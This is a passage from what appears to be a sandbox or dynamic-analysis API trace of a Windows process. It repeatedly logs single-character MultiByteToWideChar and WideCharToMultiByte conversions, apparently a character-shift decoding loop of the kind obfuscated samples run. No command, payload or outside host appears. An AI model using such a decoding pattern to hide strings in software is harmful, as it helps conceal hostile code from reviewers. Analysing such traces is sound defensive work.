lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0068.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="?") returned 1 [0068.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="?") returned 1 [0068.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0068.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="G", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="G\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.823] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0068.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="?") returned 1 [0068.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="O", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="O\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0068.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0068.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0068.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="<") returned 1 [0068.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0068.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Q", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Q\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="J") returned 1 [0068.830] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Q", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Q\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="J") returned 1 [0068.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=">", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=">\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0068.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="G", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="G\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0068.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="<") returned 1 [0068.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0068.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.832] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="O", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="O\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0068.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", 